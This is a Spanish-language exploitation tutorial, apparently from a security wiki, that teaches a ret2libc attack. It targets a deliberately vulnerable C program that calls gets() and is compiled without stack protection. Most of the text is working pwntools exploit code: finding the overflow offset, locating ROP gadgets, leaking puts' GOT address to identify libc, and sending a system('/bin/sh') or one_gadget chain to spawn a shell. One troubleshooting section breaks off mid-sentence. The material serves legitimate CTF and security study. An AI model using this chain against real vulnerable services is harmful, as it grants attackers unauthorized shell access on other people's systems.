Leaking libc address with ROP

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Resumen Rápido

  1. Encontrar el desplazamiento del desbordamiento

  2. Encontrar el gadget POP_RDI, PUTS_PLT y MAIN

  3. Utilizar los gadgets anteriores para filtrar la dirección de memoria de puts u otra función de libc y encontrar la versión de libc (descárgala)

  4. Con la biblioteca, calcular el ROP y explotarlo

Otros tutoriales y binarios para practicar

Este tutorial va a explotar el código/binario propuesto en este tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Otros tutoriales útiles: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Código

Nombre de archivo: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

Plantilla ROP - Filtrando la dirección de LIBC

Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script:

pageLeaking libc - template

1- Encontrando el desplazamiento

La plantilla necesita un desplazamiento antes de continuar con el exploit. Si no se proporciona ninguno, ejecutará el código necesario para encontrarlo (por defecto OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Ejecuta python template.py se abrirá una consola de GDB con el programa estrellado. Dentro de esa consola de GDB ejecuta x/wx $rsp para obtener los bytes que iban a sobrescribir el RIP. Finalmente, obtén el desplazamiento usando una consola de python:

from pwn import *
cyclic_find(0x6161616b)

Después de encontrar el desplazamiento (en este caso 40), cambia la variable OFFSET dentro de la plantilla usando ese valor. OFFSET = "A" * 40

Otra forma sería usar: pattern create 1000 -- ejecutar hasta ret -- pattern search $rsp desde GEF.

2- Encontrar Gadgets

Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a puts para encontrar la libc que se está utilizando, y luego para lanzar el exploit final.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

El PUTS_PLT es necesario para llamar a la función puts. El MAIN_PLT es necesario para llamar a la función principal nuevamente después de una interacción para explotar el desbordamiento nuevamente (rondas infinitas de explotación). Se utiliza al final de cada ROP para llamar al programa nuevamente. El POP_RDI es necesario para pasar un parámetro a la función llamada.

En este paso no es necesario ejecutar nada, ya que todo será encontrado por pwntools durante la ejecución.

3- Encontrando la biblioteca libc

Ahora es el momento de encontrar qué versión de la biblioteca libc se está utilizando. Para hacerlo, vamos a filtrar la dirección en memoria de la función puts y luego vamos a buscar en qué versión de la biblioteca se encuentra la versión de puts en esa dirección.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Para hacerlo, la línea más importante del código ejecutado es:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Esto enviará algunos bytes hasta sobrescribir el RIP es posible: OFFSET. Luego, establecerá la dirección del gadget POP_RDI para que la siguiente dirección (FUNC_GOT) se guarde en el registro RDI. Esto se debe a que queremos llamar a puts pasándole la dirección del PUTS_GOT ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por PUTS_GOT. Después de eso, se llamará a PUTS_PLT (con PUTS_GOT dentro del RDI) para que puts lea el contenido dentro de PUTS_GOT (la dirección de la función puts en memoria) y lo imprima. Finalmente, se llama a la función principal nuevamente para que podamos explotar el desbordamiento nuevamente.

De esta manera hemos engañado a la función puts para que imprima la dirección en memoria de la función puts (que está dentro de la biblioteca libc). Ahora que tenemos esa dirección podemos buscar qué versión de libc se está utilizando.

Como estamos explotando un binario local no es necesario averiguar qué versión de libc se está utilizando (solo encontrar la biblioteca en /lib/x86_64-linux-gnu/libc.so.6). Pero, en caso de una explotación remota, explicaré cómo puedes encontrarlo aquí:

3.1- Buscando la versión de libc (1)

Puedes buscar qué biblioteca se está utilizando en la página web: https://libc.blukat.me/ También te permitirá descargar la versión descubierta de libc

3.2- Buscando la versión de libc (2)

También puedes hacer:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Esto tomará algo de tiempo, ten paciencia. Para que esto funcione necesitamos:

  • Nombre del símbolo de libc: puts

  • Dirección de libc filtrada: 0x7ff629878690

Podemos averiguar qué libc es la que más probablemente se está utilizando.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- Otras funciones para filtrar

Copia la libc desde libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so a nuestro directorio de trabajo.

puts
printf
__libc_start_main
read
gets

4- Encontrar la dirección de la libc base y explotar

En este punto deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré simplemente: /lib/x86_64-linux-gnu/libc.so.6

Entonces, al principio de template.py cambia la variable libc a: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca

Proporcionando la ruta a la biblioteca libc, el resto de la explotación se calculará automáticamente.

Dentro de la función get_addr se calculará la dirección base de libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Ten en cuenta que la dirección base final de libc debe terminar en 00. Si no es tu caso, es posible que hayas filtrado una biblioteca incorrecta.

Luego, la dirección de la función system y la dirección de la cadena "/bin/sh" se van a calcular a partir de la dirección base de libc y la biblioteca libc proporcionada.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Finalmente, la explotación de ejecución de /bin/sh va a ser preparada y enviada:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Explicación del ROP final

El último ROP (rop1) terminó llamando nuevamente a la función principal, por lo que podemos explotar nuevamente el desbordamiento (por eso el OFFSET está aquí nuevamente). Luego, queremos llamar a POP_RDI apuntando a la dirección de "/bin/sh" (BINSH) y llamar a la función system (SYSTEM) porque la dirección de "/bin/sh" se pasará como parámetro. Finalmente, se llama a la dirección de la función exit para que el proceso finalice correctamente y no se genere ninguna alerta.

De esta manera, el exploit ejecutará un shell _/bin/sh.

4(2)- Usando ONE_GADGET

También podrías usar ONE_GADGET para obtener un shell en lugar de usar system y "/bin/sh". ONE_GADGET encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una dirección ROP. Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como [rsp+0x30] == NULL. Como controlas los valores dentro del RSP, solo tienes que enviar algunos valores NULL adicionales para evitar la restricción.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

ARCHIVO DE EXPLOTACIÓN

Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí:

pageLeaking libc - template

Problemas comunes

MAIN_PLT = elf.symbols['main'] no encontrado

Si el símbolo "main" no existe. Entonces puedes encontrar dónde está el código principal:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

y establecer la dirección manualmente:

MAIN_PLT = 0x401080

Puts no encontrado

Si el binario no está utilizando Puts, debes verificar si está utilizando

sh: 1: %s%s%s%s%s%s%s%s: not found

Si encuentras este error después de crear todo el exploit: sh: 1: %s%s%s%s%s%s%s%s: not found

Intenta restar 64 bytes a la dirección de "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
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